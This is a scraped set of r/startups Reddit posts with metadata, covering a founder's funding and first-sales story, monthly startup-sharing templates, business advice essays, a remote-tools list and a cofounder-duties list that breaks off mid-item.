I’m not shitting you. My Dad went to his house everyday, because if he didn’t, nothing would get done. Work only got done when my Dad was there. So, he went nearly everyday when there were a million other things he could’ve/should’ve been doing. &nbsp; My Dad didn’t want to split with the developer, because he felt like we’d come so far and actually had something going. FOMO is very real. I mean we had an MVP of sorts and people wanted to use it. It drove him (and me) crazy that it was always so close to being finished, yet so far due to design flaws in the system (like the fact that we couldn’t sign up our first customer). I told my Dad, as many times as it took, and it took several, “Look, I get it. We’ve come a long way and we kind of have a system here, but we tried to launch it with someone and he couldn’t even get them signed up! What’s going to happen the next time? Why would we expect things to go differently in the future? He’s not even developing on a platform and every time we scale the software gets worse. If we don’t do something different we’re going to hurt our reputation and never recover.” &nbsp; My Dad’s fear was valid. The longer you take to release something, the more opportunity you have to lose that opportunity. But, the risk to move forward with our developer was too great. So, we split ways and started looking for funding. &nbsp; > Our last conversation with the developer was pretty brutal. He sent an email to me and my Dad because he hadn’t heard from us in a few weeks and that was unusual. The irony that he was reaching out to us, for the first time, at the end of everything, isn’t lost on me. And my Dad being the honorable and incredibly nice guy he is, thought we should at least talk to him and tell him where we were. It didn’t go well and got pretty heated with me being pissed at the progress of the software and the failed onboarding of our first customer, and him playing the blame game and pointing fingers. Ultimately, he refused to give us the software, the domain, or anything that we’d worked on over the past 3 years. &nbsp; For what it’s worth, on top of the total shitshow that our dev cycle was, our developer was going through a divorce, so I’m sure that added to his woes and created issues that wouldn’t have otherwise existed. &nbsp; When it was all-said-and-done I think we were out $15k-$20k over a couple of years, which isn’t all that bad considering. And we also had a really good idea of what we needed to build, since we'd iterated like 3 times. We’d built a couple of mobile apps based on user feedback and they were really good prototypes. We’d also attended a couple of big industry meetings in 2013/2014 to get a feel for demand and there was definitely a growing need for what we wanted to build. &nbsp; **PART 2.1** In December 2015 we raised $70,000 from friends and family. We got $50,000 from one of my Dad’s friends in the industry and $20,000 from my uncle. &nbsp; > I realize that a lot of this stuff, like fundraising for instance, I just kind of blow over like it isn’t a big deal, which I guess it kind of is. So, feel free to ask questions in the comments and I’ll try to get to them. For some background on how we got funded, it's pretty simple. My Dad was talking to his buddy about the app, who’d previously seen the prototype and mentioned we needed money. He made an offer for $50k right there. I recently asked him why he did it and he said, ""Ya know. I've been in this industry for a long time and I know something special when I see it. I'm not getting any younger and my son's gonna need something to work on and I think this could be it."" Not a standard response, I know. For the other $20k we set up a meeting with my uncle and told him we probably needed another $50k. He ended up giving us the twenty, so we made it work. &nbsp; Having learned a few lessons from our previous experience, I went ahead and redesigned the software up front, so that we’d have something to give our new developer when we found him. I spent about 3 months working with a buddy on our previous software to turn it into something better. The biggest challenge was that I didn’t have anything to use as a base, because our previous developer refused to hand over the software, kept the domain, and was obviously super uncooperative. So, we had to use our previous designs and make assumptions about how the minute details worked. I own a small software design/dev company as my main gig and have a lot of relationships with folks in the industry, some who are pretty well known (which was my main context for knowing our original developer was a baddy) and started reaching out to them to see if they knew any Ruby developers that they’d recommend (I liked Ruby because of its ability to scale). I eventually got connected to a guy I’ll refer to as The Unicorn and he was interested in working with us, since he’d just finished a project. &nbsp; There’s generally three things that come into play when a project works out: - **Timing** - Is it the right time for the market? Is it the right time for the people involved? Am I busy with too much other stuff? - **Belief** - Does the industry believe in my product? Do I believe in my product? Do the people working on the product believe in the product (generally because the industry believe in it)? - **Budget** - Do I have the money to do this? Can I get the money to do this? Is there money out there to do this? &nbsp; He committed to work for a couple days a week at $150/hr and figured he’d have our app up and running in about 6 months, which he did and it was. So, by June of 2016, we finally had a functional MVP with an infinitely better UI/UX (I’d made the decision not to hire a front end dev to save money, but since then we’ve released a new version of the site that has a front ender's touch on it, which I will always do in the future). It was a pretty cool feeling to see it working and to have it be a relatively painless process to get it there. I kind of felt like what I’d imagine a victim of domestic violence feels like when they find Prince Charming. Can things really go this easily? Is this real life? WTF? Considering how hard the past couple of years had been, it was a welcome surprise. The Unicorn did a bangup job and there was really only one occasion where scope-creep became an issue and we had to have a come-to-Jesus moment about communicating scope and work. &nbsp; In July of 2016 we got a booth at an industry trade show for our sale’s maiden voyage. We got a ton of looks and probably left with about 10-15 good leads. I was pumped! And as we were walking out the door at the end of the two-day conference, a congressman came up to my Dad and said that his company might be interested in taking a look at what we had and wanted to setup a meeting. After weeks of post-trade show back-and-forth, we set a meeting for December 2016. &nbsp; Nothing really got done between July 2016 and the meeting date, because at that point we were out of money and none of the leads from the conference had panned out. And with no money in the bank and no customers to get feedback from, we just sat and waited. It sucked. &nbsp; **PART 2.2** Actually, I take that back, we didn’t work on the software, but other stuff did happen. After seeing the feedback and buzz the software generated at the conference, The Unicorn got interested in getting vested with the company. He’d obviously proven his ability to get shit done, so my Dad wanted to have a conversation with him regarding vestment and what it would take to get him on board. We eventually reached the agreement that he would work at half his hourly rate ($75/hr) and use the other half to generate equity and become vested after 2 years, so 5% equity at a $2,225,000 valuation. &nbsp; Around this same time that company I mentioned earlier in the prologue, who actually had plans to test our software with 15 of their crews, got acquired for like $9b, which ruined a great opportunity for us. They had a great culture and would’ve launched us into orbit, but it wasn’t meant to be. Womp womp! &nbsp; **PART 2.3** By the time December finally rolled around I was beside myself with anticipation. One full year had passed since we’d raised money to get this thing going and it was moving at an agonizingly slow pace (we hadn’t raised all that much capital after all, so we couldn’t just throw money at it). Money really does speed up the process. &nbsp; Without getting too deep into the weeds the meeting went really well. The company we met with is probably the most reputable in my state and is to our industry what Jordan’s are to sneakerheads. They loved what we had and it was a super encouraging meeting. They wanted us to come back again in February and present our software to their whole organization. They’re owned by some of their employees and wanted to get the nod from everyone involved. &nbsp; So, again nothing happens for another two months and we revisit the situation in February. This time the meeting went even better and their employees were even more pumped about the software than we’d thought they would be. We had a post-meeting-meeting with the owner to talk shop and the details. I told him it’d take us about six months and $107,000 to customize the software for their company, which didn’t seem to phase him. So, I wrote up a contract on the spot, which we both signed, shook hands, and walked out the door with a $17,000 check; payment 1 of 6. I had The Unicorn snap a pic of the two of us shaking hands. I’ll probably frame it and bottle the tears I’m going to shed every time I look at it. &nbsp; I actually could’ve walked out of there with nothing. After we shook on the deal he said, “Alright, well I guess we’ll just mail you the check.” And I asked, “Could we just get a check right now?” He smiled, shrugged, and then nodded in agreement and told his accounting to go print out a check. Leaving with that check made it feel 10x more real for me and The Unicorn. Asking that simple question taught me a huge lesson--You don’t get what you don’t ask for! &nbsp; > As a side note, after The Unicorn came on board we attended most meetings together. This was less of a proactive decision and more the result of me making myself more involved in the design/dev stuff, because I was not going to repeat the past. My Dad spent more time getting us the leads to make the sales, and less time in the day-to-day, since he’s got 25 years in the biz. He’s our “gray hair” and if you’re young you need a gray hair. Otherwise, people don’t trust you as much or something? &nbsp; With renewed hope and excitement we immediately roared back into gear and got an iOS app designed (for data entry in the field) and developed, and started working on the MVP again. &nbsp; However, more bumps in the road presented themselves. After such positive meetings in December and February it kind of threw me off when the owner of the company completely stopped being responsive. We didn’t receive our next check in March and it took me being super pushy to get a second check by April. In May, after another no-show check, we pretty much stopped working again, because we weren’t sure where we stood or if we still had a deal. I even asked another business owner for advice on how to approach the matter. &nbsp; To make a long and drawn out story short. The owner of the company had been super preoccupied with other businesses he owns and had told the other employee-owners to take the reigns, but they didn’t, which left him on the hook and out of touch. It was an incredibly stressful time for me, since I wasn’t sure if his lack of response indicated some deeper discontent on his part. Ultimately, he was still excited about the software and in June of this year we secured the rest of the money, a $67,000 check, and plan to launch with 30 of their crews in January 2018. &nbsp; By this time a year had passed since our last state tradeshow and it was time to attend again. This time, with a real customer in our books, I had way more confidence and the conference felt a lot more fun than it had the year before. &nbsp; > Another side note concerning sales. During the 2016 tradeshow I was super stressed out and hated it. I think it was partly due to the pressure of having unproven software and partly due to the fact that I don’t really like the idea of convincing people to buy something they know nothing about and might not even want. However, when you get your first customer, selling starts to feel a lot less like “selling” and a lot more like you’re providing people with something they **need**. It really comes down to your belief in what you’re doing. You should never try to convince a customer to buy if they don’t want to, because if you’re a genuine believer in your product, others will become believers too. &nbsp; After the first day of the conference, I ended up at the bar of our hotel with a couple other vendors who I’d befriended from previous events (one of the clients from my other company is in this industry, so I’d run into people here-and-there). The bar closed around 10:30PM and we were pretty much the last people in there and decided to call it a night to get ready for another early morning. &nbsp; The only other people in there were two dudes sitting at the bar and as soon as we got up to leave one of the bar-guys yelled, “You guys want a water moccasin shot?” We replied, “No, it’s getting late and I think we’re gonna go to bed.” Bar guys yells, “What are yall? A bunch of pussies”? We all look at each other half-laughing, and shrug, and walk over to the bar. &nbsp; We take the water moccasin shots and then some other kind of fruity pink shots. Apparently this dude has been tipping well, because the bartender was happy to keep the bar open. Somehow, because things started to blur, it comes up that I have some software for tracking stuff in the industry, so he starts describing an app he wants. And I’m shocked. No, I’m floored. He’s literally describing one of the first smartphone apps we built that got rejected by the industry, because it was too future forward (basically everyone we showed it to said it wouldn’t work because reasons). I laughed and said, “Dude! I built that two years ago and no one wanted it, so we had to build something different.” He slapped his knee and said, “Well I want it! How much can I get it for?” I pitched him my starting price and he immediately countered at half, which is what I actually wanted, and responded, “Deal!” We shook hands and he proceeded to tell us the most ridiculous and hilarious stories I’ve ever heard in my life. It was actually a really fun night. &nbsp; I walked back into the hotel room around 1AM and woke my Dad up carrying on about the deal we’d just struck up. He had been asleep, but woke up laughing because I was being ridiculous, due to the excitement (shots). He was happy to be woken up too, considering the context, and excited about another potential customer. &nbsp; The sales cycle on this deal was exponentially shorter than the first and we launched with them on September 15th, two months after we first met. They fronted us $40,000 to get additional iOS functionality developed, and will use/pay for our standard system until March/April 2018 when I think we can get the app done. &nbsp; So, after nearly 5 years of failing at this, within two months we did $147,000 in sales and if nothing changes (even if we don’t add a single customer) we’ll do a little over $350,000 in sales next year. Given, these sales are more like cash advances, but it’s still cash-in-hand. &nbsp; Also, we’re currently in talks with another company that wants to test it with one of their crews, and if they buy in, it would push our sales to over $1,000,000 next year. In my business plan, I’d assumed we’d need at least 50 companies in our system to hit that number in sales, but we could potentially do with 3 and within the first year of actual sales. &nbsp; ------------------------ &nbsp; **Follow up** &nbsp; As people have asked questions, it's made me realize that I failed to cover some important parts to my story, but none as much as this question: &nbsp; > [haxpor](https://www.reddit.com/r/startups/comments/710r53/after_5_years_of_fail_i_made_147000_in_two_months/dn8wmky/) One question, do you recommend having run business with your family? What has gone not so well or what's the things we should look for to have it working out? I mean most advice out there doesnt suggest to have run business with family persons. Thanks &nbsp; This is probably the best question I've been asked. I think it really depends on what your relationships are like with family members. &nbsp; To me there's no difference between business and life. Whenever I hear someone say, ""Hey, it's just business!"", I roll my eyes and recognize that's someone I wouldn't want to do business with. Business isn't just business. Often times, it's the blood, sweat and tears of someone's dream. So, to undermine something that people value so much by calling it ""just business"" is incredibly ignorant. More often than not, it's just a shield covering up a lack of integrity. &nbsp; Having said that, if you see eye-to-eye with someone and trust them, then you could probably do business with them. &nbsp; I think a lot of people make the mistake of getting into business with people they don't know very well because they have same idea. Unfortunately, having the same idea doesn't mean you're of one accord. &nbsp; Fortunately for me, my dad is the best man I know. My uncle is one of the best men I know. My other investor is one of the humblest men I know. The Unicorn is diligent, dedicated and incredibly humble. My designer is one of my best friends. My front end developer has the utmost integrity and honesty. &nbsp; Ultimately, the people I've surrounded myself with are better than me. &nbsp; [p]: https://www.firesofheaven.org/threads/adventures-with-lyrical-buying-a-business-repost.1240/page-47#post-2186321",tmac47,373,60,1505797004,/r/startups/comments/710r53/after_5_years_of_fail_i_made_147000_in_two_months/,https://www.reddit.com/r/startups/comments/710r53/after_5_years_of_fail_i_made_147000_in_two_months/,self.startups,True,,,,, 1hdsjg3,startups,Competitor sold for $160 million yesterday,[deleted],[deleted],371,91,1734142178,/r/startups/comments/1hdsjg3/competitor_sold_for_160_million_yesterday/,,,True,,,,, rtbzbr,startups,Share Your Startup - January 2022 - Upvote This For Maximum Visibility!," [**^(r/startups)**](https://www.reddit.com/r/startups/) **^(wants to hear what you're working on!)** # Tell us about your startup in a comment within this submission. Follow this template: &#x200B; * **Startup Name / URL** * **Location of Your Headquarters** * Let people know where you are based for possible local networking with you and to share local resources with you * **Elevator Pitch/Explainer Video** * **More details:** * What life cycle stage is your startup at? (reference the stages below) * Your role? * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do **NOT** solicit funds publicly--this may be illegal for you to do so * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount &#x200B; \-------------------------------------------------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \-------------------------------------------------- &#x200B; **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP &#x200B; **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit &#x200B; **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies &#x200B; **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale &#x200B; **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits &#x200B; **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent the decline of the company &#x200B; ^(If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.)",AutoModerator,366,611,1641013271,/r/startups/comments/rtbzbr/share_your_startup_january_2022_upvote_this_for/,https://www.reddit.com/r/startups/comments/rtbzbr/share_your_startup_january_2022_upvote_this_for/,self.startups,True,,,,, 3mpmyb,startups,"Don't build a startup, build a business instead","Everybody and their dog seems to want to build a startup, but guess how many of those actually get to delivering a finished product and turning a profit? Not many! The problem is the way most approach entrepreneurship is flawed from the beginning. They try to be disruptors, build the new *put-successful-company-name-here* and end up with a unicorn. Unfortunately, though, not many of those actually have the chutzpah and genius needed to do that. Ever wondered why we always hear about the [Jobses](http://www.apple.com), [Zuckerbergs](http://www.facebook.com), [Kalanicks](https://www.uber.com/) and [Cheskys](https://www.airbnb.com/), and only about them? That’s because there are not many people who can actually build something so successful and disruptive. I’m not being negative here: it’s ok not to be a genius. It’s enough to be smart and willing to **work hard**, which is all it takes to be successful in entrepreneurship. Ok, throw in a bit of luck, too, but keep in mind *luck favors the persistent.* Too many people focus on money when beginning in entrepreneurship. They dream of [billion dollar valuations](https://medium.com/@jasonfried/how-much-is-basecamp-worth-i-don-t-know-and-i-don-t-care-76016b404020), fame and IPOs. However, that’s not the best way to start a business. > Anyone can create a job for themselves. But not everyone can change the world. > [**Dan Norris**](http://dannorris.me/), [*The 7 Day Startup: you don’t learn until you launch*](http://amzn.com/1502472392) ## Building a healthy business What you should focus on instead, is to build a small business, focused on growth and most important on delivering value to your customers. The focus from day one should be on getting clients to pay for your product. If you need a lot of money first, then it’s not a good idea for a business. A solid and healthy venture, should get the money it needs from its customers, not from VCs. I know many who say: “I need X amount of money to start”, “Without a VC we can’t make it” and many more excuses. The reality is you can easily start a business while working a 9-5 job, which will dramatically reduce the amount of money you need. Then when you have 6 to 12 months of cash in the bank, you’re ready to quit your job and focus solely on your business. ## Would you rather be a Basecamp or a dead unicorn? > Small is not just a stepping-stone. Small is a great destination itself > **Jason Fried**, [*Basecamp*](http://basecamp.com/) One business I deeply admire is [Basecamp](https://basecamp.com/). They did everything right: * Launched a product while being a full-time consultancy shop * Once they had enough traction they focused on Basecamp full-time * They didn’t sell-off to VCs * And most important: **they made money in the process** This is what most failing *startups* did in comparison: * Raised money from angels * Built a limited version of their product * Raised some more money from VCs * Built more features * Raised some more money from VCs * Pivoted * Burnt through their cash reserves * **FAILED!** Now, I admit Basecamp is a pretty solid product which for most people would be considered a huge success. However, you could be just as successful even if you didn’t make it as big as Basecamp. But what would you prefer: making some money and be a success or burning through others’ money and fail? ## How to start your own business > Everyone is an entrepreneur. The only skills you need to be an entrepreneur are the ability to fail, to have ideas, to sell those ideas, to execute on them, and to be persistent so even as you fail you learn and move onto the next adventure. > **James Altucher**, [*Choose Yourself!*](http://amzn.com/1490313370) The first step is to leave your assumptions aside: we all have ideas we would like to turn into products, however, they are just our own and so we tend to be a bit biased. Instead, you should look for others’ pains and needs and build a product out of those. Go on [Quora](http://www.quora.com/), [Reddit](http://www.reddit.com/) or any other online location where your peers like to hang out and discuss. Look for common questions being asked: people trying to fix a problem they have, looking for a better way to do something, complaining about an existing tool’s shortcomings. You get the idea. Now, think about how you could help those people by building a product or providing a service — if you decide to provide a service, try to present it in a way to make it look like a product, [WPCurve](http://wpcurve.com/)-style. At this point you should know what you want to build. It’s time to build the easiest, yet still useful, version of your product. All the *nice-to-haves* should be left out for when you have the time and money for them. Focus on where the meat is, what gets you the most results in the least possible time. If you’re building a productized service, you might even want to do everything yourself manually, while presenting it in a way that makes it look automatic: it’s not cheating, since your customers would be getting the same result anyway. *But always deliver — or over-deliver — on what you promise!* **Launch and start selling!** Once you build the first version, your focus should be on promoting your product and the best way to do it is to start a blog and talk to your audience, helping them by writing great content that speaks directly to them and gets them to realize how much value you can provide them. Be honest and helpful, always, and try to give away more than you get back. After a while, you’ll know if your product can make it or not, but you won’t know it until you actually sit down, build it and launch it. ## It’s good to be profitable Remember, the focus of a business should be on delivering value and making money while doing so, unlike a *usual* startup, whose sole purpose often seems to be burning money and thinking of ways to eventually turn a profit in the future. Unless you have plenty of your own money to invest (think Elon Musk) or you are 16, let the others be the disruptors and be an entrepreneur instead! ***** [**You can see the post with all the images on my blog**](http://finotto.org/entrepeneurship/dont-build-a-startup-build-a-business-instead/)",michele,366,115,1443455224,/r/startups/comments/3mpmyb/dont_build_a_startup_build_a_business_instead/,https://www.reddit.com/r/startups/comments/3mpmyb/dont_build_a_startup_build_a_business_instead/,self.startups,True,,,,, wmg4oz,startups,My potential investor reaaalllyyy wants to sleep with me.,"Hopefully I can post this here. I have one potential investor for my start up whom I know personally. He’s been a colleague of mine for 2 years and somewhat of a mentor. I know the man’s KIDS for gods sake. As stereotypical as this is, he is one of the senior directors of a very large and famous tech company and I worked for him in the past. While I’m not a young woman by any means (I just entered my 30s), he’s 20 years older than me. He has promised to invest in my start up before, but always pulls back for some random reason. This is an on going game. He will say that he’s interested BUT My overhead is too high, he doesn’t like my target audience, my business model, etc. Every 3 months he comes back and asks me if I still need money then says he will invest in the future. . Do I still need investment? And the answer is yes!!!! I recently lost my day job and have been BARELY making the schools ends meet. I am constantly short 1,000 dollars in costs and I am absolutely stressed to near hysteria. However, I broke even last month by some mf miracle and It’s likely i will BARELY break even this month. I have a chance to pull in hundreds of students this september but Im so scared and tired y’all. Anyway. The guy randomly comes back again promising x amount of dollars if I change my business model and become his partner. And out of literally nowhere invites me to dinner at his hotel. I suspected something was fishy but went anyway. He was quite serious about investing in me but also spent the entire night literally groping me. I got felt up the entire night last night and playfully pulled on his bed. While I laughed and played it off flirtatiously, it was exhausting. This isn’t a METOO thing, cause I didn’t fight him off or anything, in the end he just groped me until I demanded to go home. But I’m still somewhat scared of the situation. He has a very large network of people that helped me in the past. He is somewhat well known in the industry especially in tech. I am not joking. One of the jobs I used to perform for him was writing scripts for his meetings with presidents of other countries. He is that big. His rich friends have kids in my school. I am somewhat scared of completely rejecting him and I DONT want to be a mistress either. But at the same time I thought he was serious about becoming my business partner and no one else is serious about my start up yet. I am quite……confused about this situation. He’s bringing more of his rich powerful friends to my school today and I am seriously considering not even going to the office today. I don’t want to appear weak and easy to manipulate, but what do I even do?",futanarigawdess,362,82,1660293475,/r/startups/comments/wmg4oz/my_potential_investor_reaaalllyyy_wants_to_sleep/,https://www.reddit.com/r/startups/comments/wmg4oz/my_potential_investor_reaaalllyyy_wants_to_sleep/,self.startups,True,,,,, qk5yeu,startups,Share Your Startup - November 2021 - Upvote This For Maximum Visibility!,"[r/startups](https://www.reddit.com/r/startups/) wants to hear what you're working on! Tell us about your startup in a comment within this submission. Follow this template: &#x200B; * **Startup Name / URL** &#x200B; * **Location of Your Headquarters** * Let people know where you are based for possible local networking with you and access to local resources &#x200B; * **Elevator Pitch/Explainer Video** &#x200B; * **More details:** * What life cycle stage is your startup at? * Your role? &#x200B; * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do NOT solicit funds publicly--this may be illegal for you to do so &#x200B; * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount \-------------------------------------------------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \-------------------------------------------------- **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) * 1. **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP * 2. **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit * 3. **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies * 4. **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale * 5. **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits * 6. **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent the decline of the company If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.",AutoModerator,360,470,1635739283,/r/startups/comments/qk5yeu/share_your_startup_november_2021_upvote_this_for/,https://www.reddit.com/r/startups/comments/qk5yeu/share_your_startup_november_2021_upvote_this_for/,self.startups,True,,,,, lufvfm,startups,"Paul Graham's ""Startups in 13 sentences"" summary","Paul Graham wrote an essay in 2009, ""Startups in 13 sentences"" Its filled with nuggets of startup wisdom like: ""It's better to make a few people really happy than to make a lot of people semi-happy."" A summary of an already short-essay: ## 1. Pick good cofounders. Cofounders are for a startup what location is for real estate. You can change anything about a house except where it is. In a startup you can change your idea easily, but changing your cofounders is hard. ## 2. Launch fast. The reason to launch fast is not so much that it's critical to get your product to market early, but that you haven't really started working on it till you've launched. Launching teaches you what you should have been building. ## 3. Let your idea evolve. This is the second half of launching fast. Launch fast and iterate. It's a big mistake to treat a startup as if it were merely a matter of implementing some brilliant initial idea. As in an essay, most of the ideas appear in the implementing. ## 4. Understand your users. You can envision the wealth created by a startup as a rectangle, where one side is the number of users and the other is how much you improve their lives. The second dimension is the one you have most control over. The growth in the first will be driven by how well you do in the second. The hard part is seeing something new that users lack. The better you understand them the better the odds of doing that. That's why so many successful startups make something the founders needed ## 5. Better to make a few users love you than a lot ambivalent. Ideally you want to make large numbers of users love you, but you can't expect to hit that right away. Initially you have to choose between satisfying all the needs of a subset of potential users, or satisfying a subset of the needs of all potential users. Take the first. It's easier to expand userwise than satisfactionwise. And perhaps more importantly, it's harder to lie to yourself. If you think you're 85% of the way to a great product, how do you know it's not 70%? Or 10%? Whereas it's easy to know how many users you have. ## 6. Offer surprisingly good customer service. Customers are used to being maltreated. Try making your customer service not merely good, but surprisingly good. Go out of your way to make people happy. They'll be overwhelmed; you'll see. In the earliest stages of a startup, it pays to offer customer service on a level that wouldn't scale, because it's a way of learning about your users. ## 7. You make what you measure. Merely measuring something has an uncanny tendency to improve it. If you want to make your user numbers go up, put a big piece of paper on your wall and every day plot the number of users. You'll be delighted when it goes up and disappointed when it goes down. Pretty soon you'll start noticing what makes the number go up, and you'll start to do more of that. Corollary: be careful what you measure. ## 8. Spend little. I can't emphasize enough how important it is for a startup to be cheap. Most startups fail before they make something people want, and the most common form of failure is running out of money. So being cheap is (almost) interchangeable with iterating rapidly. ## 9. Get ramen profitable. ""Ramen profitable"" means a startup makes just enough to pay the founders' living expenses. ## 10. Avoid distractions. Nothing kills startups like distractions. The worst type are those that pay money: day jobs, consulting, profitable side-projects. The startup may have more long-term potential, but you'll always interrupt working on it to answer people paying you now. ## 11. Don't get demoralized Though the immediate cause of death in a startup tends to be running out of money, the underlying cause is usually lack of focus. Either the company is run by stupid people (which can't be fixed with advice) or the people are smart but got demoralized ## 12. Don't give up. Even if you get demoralized, don't give up. You can get surprisingly far by just not giving up. This isn't true in all fields. There are a lot of people who couldn't become good mathematicians no matter how long they persisted. But startups aren't like that. Sheer effort is usually enough, so long as you keep morphing your idea. ## 13. Deals fall through. One of the most useful skills we learned from Viaweb was not getting our hopes up. We probably had 20 deals of various types fall through. After the first 10 or so we learned to treat deals as background processes that we should ignore till they get terminated. Having gotten it down to 13 sentences, I asked myself which I'd choose if I could only keep one. Understand your users. That's the key. The essential task in a startup is to create wealth; the dimension of wealth you have most control over is how much you improve users' lives. The hardest part of that is knowing what to make for them. Once you know what to make, it's mere effort to make it, and most decent hackers are capable of that. Understanding your users is part of half the principles in this list. That's the reason to launch early, to understand your users. Evolving your idea is the embodiment of understanding your users. Understanding your users well will tend to push you toward making something that makes a few people deeply happy. The most important reason for having surprisingly good customer service is that it helps you understand your users. And understanding your users will even ensure your morale, because when everything else is collapsing around you, having just ten users who love you will keep you going. Read the full essay → http://www.paulgraham.com/13sentences.html What would be your 1 startup advice?",deadcoder0904,359,30,1614518338,/r/startups/comments/lufvfm/paul_grahams_startups_in_13_sentences_summary/,https://www.reddit.com/r/startups/comments/lufvfm/paul_grahams_startups_in_13_sentences_summary/,self.startups,True,,,,, i8k3sp,startups,{Seeking Advice} We became a FULLY remote team a week ago. Any remote peeps here?? Looking for absolute must-have software tools. Please help😬,"Hey guys! We're a team of 17 who recently decided to go fully remote. So far everyone seems to be loving the flexibility and convenience, however, as the founder and CEO of the company, I'm always worrying that things might become too ""casual"" and how that can affect overall performance. That led me down a rabbit hole of *""best tools for remote teams* "" type articles, that has taken over the last couple of months. (wife wasn't too happy about this new ""hobby/obsession"")😅😅 So far this is what we're using for daily ops and comms. Would love to get your thoughts and recommendations! ***Jira*** *- https://www.atlassian.com/software/jira* * After testing Asana, Monday.com and Trello, we decided to stay with Jira for project management. ***Scribe -*** *https://cursive.io/scribe* * We use Scribe to create how-to tutorials, training new staff, contractors, etc. Really saves time. ***Slack*** *-* *https://slack.com/* * Our go-to for everything from team management to daily comms. ***Harvest -*** *https://www.getharvest.com/* * Personally I’ve never been big on micro-management, but since we’ve moved to a remote-only team environment, harvest has been great in helping us allocate time per task more efficiently. Plus I like that it integrates with Jira. ***Uberconference*** *https://www.uberconference.com/* * Very similar to Zoom but we’ve been using it forever. ***Last Pass*** *https://www.lastpass.com/* * How we share social media and software passwords amongst the team. ***GSuite*** * Our go-to for general documentation, file sharing, etc. &#x200B; \*Goes without saying **these are not affiliate links**. Please send recommendations my way 😎",andrebotelho,348,128,1597259708,/r/startups/comments/i8k3sp/seeking_advice_we_became_a_fully_remote_team_a/,https://www.reddit.com/r/startups/comments/i8k3sp/seeking_advice_we_became_a_fully_remote_team_a/,self.startups,True,,,,, lajx52,startups,"Off my Chest: Design/UX should be the forefront of a start-up, Engineering led Products are subpar.","I gotta get this off my chest, and I'm sure I'll piss some people off in the process. Stop putting engineers in charge of startup product planning. Would you put a carpenter in charge of planning your house? Of course not, that's what design architects are for. Part of the problem is engineers and investors think a like, they think more features equals more profit. This simply is not true. The best startups have great experiences with simple features. In fact, studies have shown design led companies have 56% higher revenue on average. You need divergent creative thinkers at the helm of product planning, not engineers. Without great experiences, your functionality isn't worth a damn. Thanks for attending my ted talk. Edit 1: There is a difference between leading, and having a seat at the table. Of course Engineers and finance should be at the table. Edit 2: Design matters. I'm not going to even try to argue that. We settled that debate over a decade ago. Users when given the choice between a good looking product and a bad one, 9/10 will choose the good experience.",poobearcatbomber,344,171,1612228957,/r/startups/comments/lajx52/off_my_chest_designux_should_be_the_forefront_of/,https://www.reddit.com/r/startups/comments/lajx52/off_my_chest_designux_should_be_the_forefront_of/,self.startups,True,,,,, bb802d,startups,Want to be the non-technical co-founder and not just an idea guy? Here is a list of some of your responsibilities.,"I am the non-technical co-founder and the ""idea guy"" of our SAAS startup (2 x co-founders). We are doing this as a side project currently. I have seen many posts and comments about ""idea guys"", so I thought I would write up a list of all the work I have picked up over the course of the past year to ensure my co-founder is able to focus on development. My aim with the list below is to give other non-technical co-founders an idea of what their responsibilities are. When I started this journey, I never knew how much work I created for myself. &#x200B; 1. **Everything business related:** Legal aspects such as Ts and Cs, Business strategy, business administration, finances, pricing, finding strategic partners etc. 2. **Contingency planning:** Ensuring documentation and access for EVERYTHING is available to both co-founders and organizing life insurance in case one co-founder dies (We would not be able to pick up each other's roles, and we are bootstrapping the entire business - It currently costs us $30 per month - We are not in the USA though). 3. **Marketing:** Conducting competitor analysis and market research, marketing strategies, ad-words, referral strategies, visiting industry exhibitions etc. 4. **Stay up to date with the industry and monitor competitors:** Our product is in the health and fitness industry, so I ensure that our product stays up to date with the industry standards. We do have lots of competition, but we have a solid competitive advantage in our targeted market; having said that, I monitor our competitors closely. 5. **Testing:** I cannot 